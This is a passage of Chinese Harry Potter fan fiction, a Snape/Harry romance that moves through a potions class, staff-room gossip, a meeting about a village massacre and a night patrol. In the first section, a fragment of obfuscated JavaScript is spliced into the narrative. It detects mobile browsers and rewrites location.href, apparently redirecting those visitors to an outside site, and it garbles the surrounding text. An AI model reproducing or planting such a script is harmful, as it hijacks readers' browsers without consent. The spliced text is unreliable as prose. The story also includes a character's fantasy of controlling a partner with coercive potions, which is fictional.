下一节课很快就到了,是一年级格兰芬多和拉文克劳的合班。 小巫师们规规矩矩地坐在座位上,眼睛里带着对魔药的好奇与对他的畏惧。这种年龄的孩子总是如此,既充满对魔法世界的好奇,又害怕眼前这个永远黑袍加身、表情阴郁的教授。斯内普喜欢这种敬畏,因为它意味着课堂总能保持他需要的秩序。 “今天我们制作治疗疖子的药水。”他用魔杖点了点黑板,配方立刻浮现在上面,“开始。” 学生们迅速忙碌起来。他站在讲台前冷眼巡视教室,目光扫视着每一个坩埚。治疗疖子的药剂极为基础,他闭着眼睛都能轻易指出学生可能犯的每个错误。巡视课堂向来沉闷乏味,但今天他的目光却频频被第二排那抹红发吸引过去。 金妮·韦斯莱低头认真切割药材,偶尔抬头看一眼黑板,或者是和旁边的朋友低声交谈两句,脸上带着轻松的笑意。 昨天那一幕又不合时宜地钻进脑海——哈利低头温和地为女孩解答疑问,女孩仰着头,眼神中满是崇拜。那画面看上去无比和谐。年轻的教授和崇拜他的学生,在暖意洋洋的日光中站得那么自然。 他就站在走廊尽头的阴影里,清楚地看到了一切。理智告诉他没什么可介意的——哈利对待学生一贯如此耐心细致。这正是哈利与生俱来的特质,就像那双绿色的眼睛一样,是詹姆斯·波特永远也无法拥有的东西。 可那一刻,和理智无关的嫉妒感却在他心底生根发芽。原本,他对这个女孩并无特别印象,成绩普通、表现平淡,只是韦斯莱家的又一个孩子罢了。直到某一天,他突然意识到,在那个他只能通过记忆窥视的世界中,这个女孩曾经是哈利选择的人。 然后噩梦就来了。梦中的哈利牵着一个红发女人的手。那个女人的面容模糊不清,也许是长大后的金妮·韦斯莱,也许是别人。这不重要,真正让他痛苦的是哈利看向他的眼神变得冷淡而陌生。 “你知道我们之间只是个错误,”梦里的哈利平静地对他说,“她才是适合我的人。” 然后他们转身离去。他被遗弃在无尽的黑暗里,像过去三十几年的每个夜晚一样。 “注意你们的坩埚!”斯内普突然厉声喝道,吓得几个交头接耳的学生差点把材料掉地上。 教室立刻变得鸦雀无声。学生们低头盯着面前的药材,不敢再出声。斯内普知道他们私底下都在议论些什么——他的袖扣、新袍子,以及关于他和另一位教授之间的流言。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156457|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他眼看着一个拉文克劳女孩慌忙调节火焰,险些烧到自己的袖子,用力压下心中难以遏制的烦躁。他明白,这种嫉妒毫无道理——一个十一岁的孩子,根本不足以让他浪费情绪。 但只需要短短几年,她便会成长为哈利记忆里那个光彩夺目、充满活力的女巫……她会再次吸引哈利的目光吗?毕竟,在另一个世界,他们才是所有人眼里天造地设的一对。 而他自己呢?斯内普阴沉地想,十年后的自己只会更阴郁、更苍老,更像真正的老蝙蝠。时间对年轻人慷慨至极,却对他吝啬得近乎刻薄。 他猛然意识到自己正钻进莫名其妙的牛角尖,居然在为十年后的事担忧,在和一个连基础魔药都还做不好的女孩较劲。他当然清楚自己反应过度,这种嫉妒近乎荒唐,却又无法克制。 因为他清晰地见过哈利记忆中的金妮:那种明媚的自信,落落大方地站在哈利身旁,又从容地放手。这样的善解人意,更衬得他自己阴暗卑劣。 也许真相就是如此简单残酷。就像今天早上,他在镜前第一次穿上那件新袍时,下意识就想脱下换回旧的那件。 他永远无法拥有那种阳光般的豁达,永远无法做到坦然地放手。如果哈利有一天想要离开他——做梦。那根本不可能。他会毫不犹豫地用尽一切手段,威胁、哄骗、甚至是某些不那么光明正大的魔药,把他牢牢地绑在自己身边,不论这些手段有多阴暗卑劣。 这就是他和那个女孩的区别。她懂得放手与成全,而他只懂得占有与束缚。她像阳光下盛放的花朵,而他则是暗处盘根错节的藤蔓,一旦缠绕上,就绝不会松手。 “教授?” 一个轻飘飘的声音打断了他越来越阴暗的思绪。他转过身,看到卢娜·洛夫古德正用那双银灰色眼睛望着他。 “什么事,洛夫古德小姐?”他不耐烦地问。 “您周围有很多骚扰虻呢,”卢娜认真地望着他的头顶,声音飘忽得仿佛在梦游,“它们最喜欢围绕那些为爱情烦恼的人。” 教室里响起几声压抑的偷笑。 斯内普强忍着想要咆哮的冲动,“洛夫古德小姐,我强烈建议你把注意力从你那些虚构的生物身上挪开一点点——毕竟你坩埚里那锅东西的存在看起来更加可疑。” “不过您的袖扣很漂亮,在闪着光呢。”卢娜仿佛没听到他的警告,继续自顾自地说道,“那是银月石做的吗?爸爸说过,银月石会给爱情带来好运。” 斯内普低头扫了一眼袖扣,不过是普通的银制饰品罢了,除了那是哈利挑选的之外,没有任何特殊之处。 “专心你的药剂。”他语气冰冷地说,转身要走。 “但我是真的觉得它们很漂亮。”卢娜对他露出一个梦幻般的微笑,然后转身回到自己的坩埚前,继续搅拌她那锅不知道会变成什么颜色的药水。 斯内普不再理会她,强迫自己继续巡视课堂。才走几步,他又被吸引到第二排坩埚前,金妮·韦斯莱的药剂颜色明显过深,显然搅拌过度。他的心情更糟了。 “韦斯莱小姐,”他冷冷开口,“如果你们讨论教授着装的兴趣能分一点给药剂,也许就不会制造出一锅沼泽淤泥了。” 红发女孩的脸瞬间涨红:“我、我们没有——” “没有?”斯内普危险地眯起眼睛,“那么‘袖扣’和‘新袍子’是药剂新配方,还是格兰芬多特有的增效咒语?” 旁边的女孩小声嘀咕了句什么,听起来像是“明明是真的很好看”。 斯内普正要发作,卢娜的声音又轻飘飘地传来:“教授。” 他咬牙切齿地转过头,已经准备好至少十种让这个女孩彻底安静的方法。 “我搞错了,”卢娜用那副梦游般的语气说,“围绕您的是恋爱蜂,不是骚扰虻。只有找到真爱的人才会吸引它们,它们发出的嗡嗡声会让人感到幸福温暖。” 斯内普瞪着她,一时竟忘了反驳。这女孩在胡言乱语些什么?真爱?恋爱蜂?这些无稽之谈…… 他看到金妮·韦斯莱对着那个女孩疯狂地使着眼色,竟提不起一丝斥责的欲望。也许只是因为这套荒唐的理论太过离谱,反而冲淡了他心中那些阴暗的想象。又或者,只是因为“真爱”这个词本身就带有某种力量,即使是从一个相信骚扰虻存在的女孩嘴里说出来。 “回去盯紧你的坩埚,洛夫古德小姐,”最后,他只是这样说。 “好的,教授。”卢娜轻快地应了一声,又低下头开始哼起了不知道哪里的曲调。 因为这段莫名的小插曲,斯内普发现自己竟然逐渐平静下来。剩下的课堂时间异常顺利,没有爆炸,也没有哪个蠢货把自己送进医疗翼,甚至还有几个学生制作出了勉强合格的药剂。虽然这只是最基础的治疗疖子药水,要是连这种程度都做不到,这些学生真该考虑转学去德姆斯特朗,听说那里对魔药学的要求低得令人发指。 只是当下课铃终于响起,学生们如获大赦般匆匆离开教室时,他感到了一阵前所未有的疲惫。 也许午餐会好一点,至少他还能见到哈利。 —————— 午餐时哈利没有出现。 礼堂里稀稀落落坐了几个学生,大部分人都去了户外享受难得的好天气。 斯内普独自坐在教工席,面前摊开一份《预言家日报》。头版照旧是些无聊内容——某个魔法生物保护区开幕仪式,一群官员僵硬的笑容旁站着一只明显不愿配合的威尔士绿龙。他迅速翻过后面的版面:魔法部发布飞路网新条例;古灵阁宣称推出了无人可破的新型防盗咒;魁地奇联盟杯小组赛第一轮,查德理火炮队迎战霍利黑德哈比队…… 还是没有一个字提到小汉格顿村。 两百多条性命就这样被轻描淡写地抹去了。福吉和他的魔法部选择了最简单的处理方式——假装什么都没发生。毕竟傲罗们在现场查了整整一天,也未找到更多有效的黑魔法证据。于是他们干脆编出一个适合麻瓜的解释:复活节庆典上的野蘑菇汤被污染,导致全村人产生幻觉,在疯狂中自相残杀。 典型的鸵鸟政策。斯内普在心里冷笑。福吉那个蠢货,恐怕就算黑魔王站在他面前,他都能说服自己那是万圣节的装扮。但事实上,黑魔王不但掌握了一种全新的黑魔法,还成功地向整个巫师界展示了他能够随时轻易毁灭一个村庄,而魔法部对此束手无策。 斯内普回想起昨天无意中听到的对话,紧接着又回忆起里德尔府那天的场景。纳西莎施展钻心咒时脸上的狂热神色,那种毫不掩饰的极端仇恨绝非装出来的。以纳西莎的性格,她即使对卢修斯失望至极,也不至于表现得如此疯狂,更何况他们的感情基础并不差——至少在卢修斯失去理智前。 难道伏地魔对她做了什么?某种控制类的黑魔法?想到小汉格顿村那场可怕的屠戮,斯内普不由得抬手触了触左臂。黑魔标记潜伏在皮肤之下,静静蛰伏着,随时准备撕裂他的平静。 自从哈利暴露身份后,他成了唯一还能接近黑魔王的人。这本该让他感到压力,可奇怪的是,他反而觉得松了口气。至少现在,他不再需要担心那个鲁莽的格兰芬多会在黑魔王的眼皮子底下陷入什么危险。 至于他自己,以前他从未在乎过自己的生死,只要能完成邓布利多的任务就够了。但现在……斯内普的视线移向了袖口,露出了那枚小小的银色袖扣。现在他有了想要守护的东西,有了必须活下去的理由。 “西弗勒斯!” 弗立维教授的声音打断了他的沉思。矮小的魔咒课教授正笑容满面地朝他走来。 “午安,菲利乌斯。”斯内普抬眼从报纸上方扫了他一眼,又低头继续阅读。 “你有没有看到——” “校长办公室。”斯内普头也没抬地翻到下一页。 弗立维眨眨眼,显然被这突如其来的回答弄懵了:“什么?” “哈利。”斯内普继续盯着报纸,语气冷淡,“他在校长办公室,可能要待上一阵子。如果你是来找他讨论决斗比赛的新规则,我会告诉他下午去找你。” 弗立维的嘴巴微微张开,用一种很是惊讶的眼神看着斯内普。过了好几秒他才反应过来,脸上露出一个饶有兴味的笑容:“哦,这样啊……好的、好的,我确实有些新想法想和他讨论,既然你会转告他,那就麻烦你了,西弗勒斯。” 他转身准备离开,又似乎想起了什么,再次回头:“你知道他什么时候——” “不知道。”斯内普终于放下报纸,冷冷地看向弗立维,语气干脆得毫无商量余地。 弗立维露出一个更为心领神会的笑容,用一种让斯内普恨不得立刻给他施个闭嘴咒的愉快语调说道:“明白了,明白了。那么,祝你们……不,我是说祝你午餐愉快,西弗勒斯。” 说完,他哼着小曲离开了。斯内普沉默地盯着他的背影,面无表情地重新低头盯着面前的报纸,视线却在字里行间打转,一个字也看不进去。 哈利到现在还没有从校长办公室里出来,也许整件事比他们想的更为棘手。 格林德沃的话就像一道阴影,那些胡言乱语听起来简直像个疯子的呓语。但如果这背后真的存在什么真相,如果时间旅行真的在制造裂痕…… 那又如何?难道要为了修补那些所谓的裂缝,让哈利和泰迪彻底消失?重新回到那个注定要发生的悲剧? 不。他宁愿看着整个世界毁灭。 一只银色的纸鹤突然出现在礼堂上空。它优雅地盘旋一圈,然后像礼花一样分裂成十几只小纸鹤,向着不同的方向飞去。 斯内普伸手接住飞向自己的那一只,纸鹤在他手心展开,露出邓布利多熟悉的花体字: “请所有教职员工于今日下午四时至教工休息室参加紧急会议。 ——阿不思·邓布利多” 教工席上开始传出议论声,斯普劳特教授探过头来:“出什么事了吗?阿不思很少这样临时召集我们。” 斯内普沉默地折起纸条,没有回答。他的目光落到哈利空着的座位上,知道平静的一天结束了。 120. 无可救药的魔药教授(下) 西弗勒斯?斯内普将最后一份作业扔到桌角。又一个“P”。 整个下午他都没见到哈利。他知道对方有两节课,大概是从邓布利多的办公室出来后便直接去了教室。斯内普只能强迫自己专注于批改这些惨不忍睹的作业,在给了至少十个“P”的评分之后,才勉强按捺住直接去找哈利的冲动。 三点半刚过,他心中的焦躁到达了顶点,便干脆推开椅子站起身,决定提前去教工休息室。 然而,当他快走到门口时,房间里传出的声音让他停住了脚步。 “——我必须说,最近的天象显示,金星正与火星形成一个微妙的六分相。”特里劳妮飘忽而尖锐的声音透过门缝飘了出来,“近期陷入情网的人将遭遇重大波折!我在水晶球里也看到了不祥的预兆,新生的爱恋往往预示着命运的转折,隐藏的悲剧正等待着噬人的时机……” “西比尔,你观察错星座了。”天文学教授奥罗拉?辛尼斯塔礼貌地打断她,“金星目前正处于第七宫,与火星形成和谐相位,恰好象征稳定的恋爱关系。” “说到恋爱,”麻瓜研究学的查瑞蒂?伯比奇加入了讨论,“你们有没有听说最近学生们讨论最热烈的那个传闻?” “是指某两位教授的那个吗?” 斯内普的手停在门把手上,立刻认出接话的是算数占卜课的塞蒂玛?维克托。她们到底在胡言乱语些什么? “最近上课总能听到学生们议论,”维克托继续说,“尤其是我的六年级学生,因为正好讲到算数命盘,她们就很热衷于用它去分析……嗯,两位教授的契合度。” “塞蒂玛,爱情怎能用冰冷的数字衡量?”特里劳妮尖着嗓子反驳,“爱是灵魂的直觉!是命运的启示!” “我是说,”维克托不紧不慢,“虽然我明确表示不鼓励这种行为,但不得不承认,他们的分析方式倒还有些意思。” “哦?怎么分析的?”几位女教授明显被勾起了好奇心。 “无非就是那些,”维克托说,斯内普能想象她推了推眼镜的样子,“姓名分析法,用字母转化核心数字做比对;或者用生日推演生命路径数……她们甚至还想旁敲侧击地问我两位教授的出生日期,被我严厉地批评了一顿。算术占卜是严肃的学术领域,不是用来满足这种好奇心的工具。” “可是塞蒂玛,”伯比奇忍不住追问,她一向是个好奇心十足的女巫,“你就一点都不好奇他们算出了什么吗?我是说,从纯粹的学术角度来说,如果真的分析两位教授的名字,结果会是什么样的?” “查瑞蒂!”维克托假装责备,但声音里藏着笑意,“你这是想诱导我泄露学生的研究成果?” “哦,别装了,”伯比奇愉快地回道,“我敢打赌你私底下一定算过。” 休息室里响起一阵窃笑声。 “好吧好吧,”维克托教授终于妥协了,“我承认,我确实因为好奇,验证了一下学生们的计算结果。” “然后呢?”几个女教授齐声追问。 “嗯,其中一位的核心数字是2——典型的内向人格,你们知道的,外表严厉而难以亲近,内心却极度敏感复杂……” “这不是明摆着在说——”特里劳妮的声音突然停住了,不知是谁制止了她。 “另一位数字是3,”维克托接着说,“充满活力和魅力,很容易吸引别人的靠近。” “2和3搭配起来会怎样?”这是斯普劳特教授的声音,显然她也产生了兴趣。 “非常有意思,”维克托的语气变得专业起来,“在算术占卜体系中,2代表二元性,天生需要伙伴关系才能完整自我。他们是天生的守护者,但也容易陷入自我怀疑。3则象征创造、光明和可能性,带有感染他人的能力。” 她的声音稍稍提高了一些,似乎更加投入了,“从理论上看,这是一个极具潜力的组合。数字2的深沉和忠诚能够提供稳定的根基,令数字3的创造力发挥到极致,而3的活力和乐观,又恰恰能帮助2克服内心的阴郁与孤僻,走出自我封闭状态。这种互补的关系就像……” “像什么?”辛尼斯塔问道。 “像黑夜与星辰,星光因黑夜而更为明亮璀璨,黑夜也因星光而不再彻底黑暗。”维克托说完,自己都笑了,“抱歉,这比喻有点过于诗意了。但确实,2和3的组合在所有数字配对中属于‘意外的和谐’——表面看来性格迥异,实际上却能相互依赖,彼此成全,形成完美的平衡。” 休息室里响起几声意味深长的“哦——”。 “所以这就是学生们的结论?” “他们写了整整三英尺的羊皮纸来论证这种互补性,还引用了十七世纪算术占卜大师彼得罗尼乌斯的理论。”维克托语气中带着几份无奈。 “你给了什么分数?”伯比奇的好奇心丝毫不减。 “纯学术而言,计算过程无懈可击,理论引用恰当,分析深入——”维克托叹了口气,“我给了个‘E’。” “只是‘E’?”辛尼斯塔惊讶道,“听起来应该达到‘O’的标准了。” “如果他们将精力投入到更严肃的课题,而不是教授们的私人生活,”维克托干巴巴地回应,“那就可以给‘O’了。” 房间里再度响起一阵笑声。 “数字!”只有特里劳妮不屑地轻哼一声,“命运才不会被冰冷的数字左右!” 门外,斯内普的手指不自觉地在门把手上紧了一紧,一阵难以名状的荒谬感涌上心头。这些学生居然把他和哈利的关系当成研究对象?他居然成了被数字分析的谈资?要是哪个学生胆敢在他课堂上交上这种荒谬的作业…… “可我还是想不通,”伯比奇教授感慨道,“我是说,他们俩的性格简直天差地别……怎么可能呢?” “我起初也觉得这只是学生们无聊的八卦,”斯普劳特说,“毕竟这也不是第一次了。你们还记得几年前他们传凯特尔伯恩教授对平斯夫人有意思的事吧?结果人家只是常去图书馆查资料而已。但最近,西弗勒斯和哈利确实走得非常近。前几天,米勒娃还在蜂蜜公爵店遇到他们一起挑糖果呢。” 这引起了一阵小小的惊呼。 “不可能!”伯比奇难以置信地说,“西弗勒斯?斯内普?逛糖果店?” “千真万确,”斯普劳特肯定地说,“米勒娃还和他们打了招呼。” “事实上!”弗立维尖细的声音突然插进来,“我倾向于认为他们的关系最近确实发生了一些实质性的变化。” “你怎么会这样认为,菲利乌斯?”几个女教授同时问道,显然没料到这位一向理性的魔咒课教授也热衷于参与八卦。 弗立维清了清嗓子,斯内普几乎能想象弗立维站在椅子——他总是需要站在椅子上才能让大家看到他。 “今天午餐时的情形你们都没看到,”弗立维愉快地说道,然后绘声绘色地复述了一遍经过,“我还什么都没问呢,西弗勒斯就主动告诉我哈利在校长办公室,还主动表示愿意替我转告!” 门外,斯内普感到一阵燥热爬上颈后。他的手指在门把手上收紧又松开,忍住了直接推门进去的冲动。 他向来讨厌成为同事们议论的对象,更厌恶此刻的自己竟站在门外偷听。 他应该马上推开门,用一个眼神终结这场可笑的讨论。但内心某个隐秘的角落却执意要听下去,听听这些旁观者眼中,他和哈利的关系究竟到了何种明显的程度。 “现在想想,”斯普劳特温和地说,“西弗勒斯最近确实不像以前那么拒人于千里之外了。” “要我说,这再正常不过了!”洛哈特那做作的声音响了起来,“当两个非凡的灵魂在追求伟大的道路上相遇时,迸发出情感火花是不可避免的!就像我在《与女妖共舞》中和迷人的塞西莉亚女士联手击败整整一打女妖后,她向我倾吐了心意。当然,我们之间始终维持着同僚的距离,但那火花……啊,那是无可否认的!” “不过,坦白说,”弗立维没有理会洛哈特,“如果他们真走到了一起,我倒觉得挺不错。哈利到来之后,西弗勒斯改变了许多。” “的确,”伯比奇笑着接话,“以他的性格,以前你问他‘哈利在哪里’,他的回答一定会是‘我为什么要知道’。” “西弗勒斯?” 斯内普转过身,看到麦格教授正疑惑地站在走廊上看着他。 “为什么站在门口不进去?”她皱起眉头,“是有什么顾虑吗?” 休息室里的讨论声戛然而止。 斯内普镇定地松开门把手,转过身,语调平静如常:“只是担心打扰各位教授正在进行的……深入探讨。” 他说完便迈步进入休息室,眼神逐一扫过刚才还在热烈交谈的教授们,然后不动声色地坐到了会议桌旁。 刚才兴致高昂的教授们尴尬地挪动着椅子,纷纷装作专注于自己的茶杯或者桌面上的花纹。只有洛哈特依旧保持着他那可憎的灿烂笑容,甚至还朝他眨了眨眼睛。 麦格教授随后走进来,好奇地扫视一圈后,在斯内普身边坐下,压低声音问道:“阿不思什么时候回来的?为什么回来得这么突然,还紧急召集会议?” “我并不比你知道得早多少,米勒娃。”斯内普语气淡淡地答道。 其他教授也逐渐入座,但教工休息室里的气氛仍然僵硬。所有人似乎都迫切想要找个话题转移注意力。 “说起来,”弗立维教授率先打破了尴尬,“大家对周六的决斗比赛一定都很期待吧?” 听到这个话题,其他教授纷纷表示赞同,教工休息室很快又变得热闹起来。各学院教授开始热切地讨论起参赛的学生。洛哈特甚至大声宣布,比赛当天他会亲临现场进行“专业指导”,尽管根本没人邀请他。 “参赛学生的水平确实都很不错,”弗立维说道,“哈利和我正在考虑是否调整一些规则,以提高比赛的观赏性。比如,允许使用某些边缘防御咒语,烟幕咒的变体就非常有趣……” “可以和照明咒配合,效果可能会更突出。”斯内普下意识接了一句。 所有人都转头看向他。 斯内普面无表情地盯着前方,神色镇定得仿佛刚刚的话不是他自己说的:“我们认为这样能帮助低年级学生更直观地理解咒语的应用。” 弗立维愣了片刻:“原来你们已经讨论过了啊。那么裁判席的防护咒呢?” “哈利建议双层防护,”斯内普语气平淡,“外层使用标准铁甲咒,内层用缓冲咒减轻可能的冲击。他前两天晚上做过测试,效果不错。” 休息室里出现了短暂的沉默。弗立维的眼睛瞪得像金加隆那么大,其他教授们的表情也各有精彩——麦格教授轻轻挑起眉毛,斯普劳特忍不住扬起嘴角,伯比奇和维克托则意味深长地交换了个眼神。 “考虑得很周到啊,”弗立维恢复了声音,“这个建议很好。看来你们讨论得……很充分。” 斯内普后知后觉意识到自己做了些什么,几乎想狠狠咬断自己的舌头。他强迫自己保持镇定,脸上毫无波澜:“只是碰巧听他提了一句。” “碰巧,”弗立维重复了一遍,嘴角抽动了一下,“当然。” 斯普劳特教授似乎忍不住了,假装咳嗽一声掩饰了嘴角的笑意。 “话说回来,”洛哈特兴致勃勃地再次插话,“我想我可以为决斗比赛做个特别表演,向大家展示一下真正的决斗艺术——” “不必了!”弗立维赶紧拒绝,“学生们的表现已经足够精彩!” 这时,休息室的门被推开了。 哈利和邓布利多一前一后走进来。斯内普立即转过头,目光牢牢锁定在哈利身上。年轻人似乎和早晨分别时没什么不同,正平静地与其他教授打着招呼。但他略微低垂的肩膀和嘴角勉强维持的笑容,仍然让斯内普心头一沉。 哈利的视线扫过教工休息室,短暂停留在斯内普身上后,便径直朝他走过来。 斯内普能感受到八卦的眼神从四面八方扎向他们,但他已经不在乎了。他的眼睛里只能看到哈利,直到对方在他身旁的空位上坐下。 他们的目光短暂交汇,斯内普眼神中带着疑问,哈利轻轻摇头示意稍后再谈。 下一秒,他感到桌下手被轻轻碰了一下。斯内普微微一怔,迅速意识到那是哈利的手指。年轻人若无其事地望向前方,手却悄悄地与他的手十指相扣。斯内普没有犹豫,反手回握住了哈利略显冰凉的手。 然后他才抬头看向邓布利多。老人只离开了两周,但明显苍老了许多,那双湛蓝的眼睛也快被耷拉的眼皮遮住了。 邓布利多开始说话了,但斯内普几乎没在听。他的注意力完全集中在掌心的温度和手指传来的熟悉触感上。这份小小的接触,奇妙地驱散了他一整天以来心头那些纷乱不安的念头。 “……小汉格顿村发生了一起惨案。整个村庄的居民在一天之内全部遇难,无人生还。” 斯内普猛地回过神来。教授们纷纷倒吸一口凉气,洛哈特更是夸张地站了起来。 “梅林啊!”斯普劳特惊恐地捂住了嘴。 “不祥的预兆!我早就通过水晶球看到了死亡的阴影!”特里劳妮尖声道,“我警告过你们!” “瘟疫?”维克托问,“还是某种诅咒?” “恐怕情况更加严重,”邓布利多缓缓摇头,“根据现场调查,这是一种前所未见的黑魔法。受害者们似乎被某种强大的魔法力量控制,疯狂地互相攻击直至死亡。” “可预言家日报上根本没报道啊!”维克托吃惊地说道 “魔法部选择了封锁消息,”邓布利多叹了口气,“他们害怕引起公众恐慌。官方的解释是食物中毒导致的集体幻觉。” “荒谬!”伯比奇难以压制自己的愤怒,“就算村民大多是麻瓜,那也整整两百条生命!” “我理解你的愤怒,查瑞蒂。”邓布利多抬手示意她稍安勿躁,“但现在有更紧迫的问题需要我们去应对。不论幕后是什么力量,这个威胁依然存在。” 他停顿了一下,目光扫过在座的每一个人:“霍格沃兹的防卫必须进一步加强。除了现有的保护咒语和费尔奇的巡逻,以及各学院院长的例行夜巡之外,我们还需要更多教师参与夜间巡视。这件事目前仍处于保密阶段,我们必须确保学生的绝对安全。” “当然,阿不思,”哈利首先开口回应,“我们都会尽力。” 其他教授也纷纷点头表示支持。 “很好,”邓布利多说,“具体的巡视排班表稍后会送到各位手上。鉴于魔法部决定封锁消息,我们也暂时不要向学生透露实情,以免造成恐慌。只需告诉他们这是例行的安全措施。” “阿不思,”洛哈特举起一只手抢着发言,“如果需要的话,我愿意分享一些我对付黑巫师的经验!在我的第四本书里——” “谢谢你,吉德罗,”邓布利多温和却快速地打断他,“你的热情大家有目共睹。不过当前更重要的是保持高度警惕,确保学校师生的安全。” 邓布利多又简单交代了一些具体事务。当会议结束时,刚才轻松的氛围早已消失,教授们三三两两离开,低声交谈着小汉格顿村那起惨剧。 “太可怕了,”伯比奇压低声音对维克托说道,“什么样的黑魔法能让人如此疯狂地互相残杀?” “我更在意是谁干的,”维克托的声音更低,“拥有这种力量的黑巫师……会不会是——” “不!不可能!别提那个名字!” 她们的声音渐渐远去。 教工休息室最后剩下了邓布利多、哈利和斯内普。 邓布利多转过头,用他那双湛蓝色的眼睛仔细打量着哈利,又看了眼斯内普,目光中饱含深意:“哈利,我们今天讨论的事,请你务必认真考虑。有时候,将重担告诉身边的人,反而能让我们更清楚前行的方向。” 说完,他便转身离开了休息室,只留下哈利和斯内普两个人。 斯内普侧头看向哈利:“邓布利多和你谈了什么?” “晚点再告诉你吧。”哈利揉了揉眉心,“今晚是巡夜的第一晚,邓布利多和我商量过,由我负责,可能要到十二点才能结束。”他抬眼望着斯内普,“你先回去休息,不用等我。” “我和你一起去。”斯内普脱口而出。 哈利注视着他,似乎有些意外,却没说什么。片刻之后,他忽然伸出手,大大方方地牵住了斯内普的手。 “那我们先去吃晚餐吧,”他说,“我饿得能吞下一头龙。” —————— 宵禁开始的钟声在九点准时敲响,霍格沃兹的走廊很快归于安静。 斯内普与哈利匆匆用过晚餐,又勉强赶在九点前处理完积压的工作和作业,马不停蹄地开始了夜间巡视。两人并肩走在空荡的走廊里,一时间只能听到他们皮靴擦过石板地面的细微声响。 “我整个下午都在想,”哈利打破沉默,“到底该不该告诉他们。” 斯内普侧头看他。哈利这话说得没头没尾——没说是什么事,也没说告诉谁——但他很清楚对方的意思。 “一想到要把他们卷进这种事里——” 远处的拐角突然传来脚步声,费尔奇瘦长的身影随即出现在走廊尽头,洛丽丝夫人在他脚边绕来绕去。 管理员看到他们,金鱼似的眼睛瞬间放亮,视线在两人身上来回扫视,那表情简直把“我知道你们在搞什么”写在了脸上。 “今晚巡夜好像是佩弗利尔教授的班次吧?”费尔奇慢吞吞地说,“斯内普教授怎么也在?” “你的职责是抓违规夜游的学生,费尔奇,”斯内普冷冷地打断他,“不是过问教授的行程安排。” 费尔奇的脸涨红了,然而八卦的兴致显然压过了被责斥的不快:“我只是出于好意——” “好意就用在该关心的地方,”斯内普上前一步,黑袍在身后扬起令人生畏的弧度,“至于不属于你该关心的事,最好少开口。” 费尔奇嘴唇动了动,似乎还有话要说。但在斯内普逼人的目光下,他只能低头敷衍地回应:“是的,教授。如果发现学生夜游,我会第一时间通知你们。” “很好,”斯内普简洁地回应,“现在去做你该做的。” 费尔奇悻悻地咕哝了几句,转身领着洛丽丝夫人慢慢离去,走到拐角时仍忍不住回头看了一眼。 哈利挑了挑眉,“我开始怀疑最近城堡里那些沸沸扬扬的传言,这位管理员可能是主力之一。” “恐怕用不着怀疑,”斯内普面无表情地接话,“明早他的贡献就会更加明显。” 他们继续前行,但今晚显然注定无法安静。刚走没几分钟,一个半透明的身影忽然从墙里飘了出来。 差点没头的尼克挡在他们面前,艰难地扶正自己晃动的脑袋,用审视的眼神把他们从头看到脚。 “晚上好,教授们。”尼克忧郁地开口问候,眼底却掩饰不住强烈的八卦兴趣,破坏了他本想努力维持的端庄形象。 “晚上好,尼古拉斯爵士。”哈利客气地回应。 尼克飘得更近了些,“今晚可真是个……适合散步的夜晚。” “我们是在巡夜,”哈利纠正道,又似笑非笑地补了一句,“而且宵禁之后是不允许散步的。当然,对幽灵来说可能没什么区别。” 尼克有些尴尬地说:“啊,是的,当然是在巡夜。”但他脸上明显还挂着一个“我懂的”的表情,“很高兴看到教授们如此尽职尽责,两位教授一起行动,效率一定很高。” “你有什么事吗,尼古拉斯?”斯内普不耐烦地问。 “哦,没什么,”尼克连忙说,又忍不住再仔细地盯着他们瞧了一遍,“只是好奇最近城堡里似乎流传着某些……有趣的传闻。” “如果你指的是那些无聊的流言蜚语,”斯内普冷声截住他,“我建议你把精力放到更有意义的事情上,比如继续申请你的无头骑士俱乐部成员资格。” 提到这个话题,尼克顿时垂头丧气:“他们又拒绝我了,说我的头没有完全断掉,不够资格。但我也不可能把头彻底砍下来啊。” “真遗憾。”斯内普的语气里听不出一丝同情。 尼克叹息了一声,很快又振作起来:“不过,能看到城堡里有些美好的事情发生,也是一种安慰。”他用一种充满暗示的眼神瞄了他们一眼,“祝教授们巡夜愉快。” 说完,他心满意足地穿墙而去。隐约还能听到他在墙那边兴奋地自言自语:“等不及告诉胖修士了……” 还没等走廊彻底安静下来,一阵疯狂的笑声从天花板传来。皮皮鬼像颗游走球一样俯冲下来,翻着跟头大声唱道: “蝙蝠疤头牵手游, 半夜约会不回楼——” 一道赤红的光芒擦着皮皮鬼的脑袋飞过,撞在石墙上溅起火星。 "下一个咒语不会打偏。"斯内普的魔杖稳稳指着半空。 皮鬼吓得在空中一个急刹车。 “哎呀呀,斯内普教授生气啦!”他故作惊恐地捂住嘴,但眼睛里还闪着恶作剧的光,"皮皮鬼这就走,不打扰教授们继续浪漫——" 又一道光芒射出,这次直接击中了他。皮皮鬼惨叫一声,像泄了气的气球一般在半空打着旋儿,不甘地怒吼着:“该死的老蝙蝠!” 叫喊声未落,皮皮鬼便一溜烟地消失在天花板里,只留下远处隐约的咒骂回声。 哈利无奈地叹了口气,瞥了瞥斯内普:“到底是我们在巡夜,还是幽灵们在巡夜?也许下次我们应该提前贴个告示,提醒他们别这么热情参与。” 斯内普脸色仍旧难看至极。而哈利的目光已经转向墙上的画像,“顺便,”他朝墙上扬了扬下巴,“这些画像从我们一出现就在偷看,你注意到了吗?” 斯内普当然早就发现了。每次他们经过,墙上画像里的眼睛总是会偷偷睁开。此刻被哈利这么一提醒,原本还在假装熟睡的一幅贵妇画像突然睁眼,发出浮夸的惊呼:“哎呀!原来是斯内普教授和佩弗利尔教授呀,这么晚还在工作,真是辛苦!” 她的声音顿时“惊醒”了旁边的一幅骑士画像:“确实啊,教授们为了学生们的安全,牺牲自己的休息时间!” “多么令人感动,”另一幅画像里的老巫师假模假样地抹了抹并不存在的眼泪,“两位教授一起巡夜,互相扶持!” 很快,整条走廊的画像都“醒了”,到处都是窃窃私语声。那位贵妇人更是兴奋地穿梭在画框间,不愿意错过任何精彩细节。 “快看,他们靠得多近!” “嘘,小声点!” 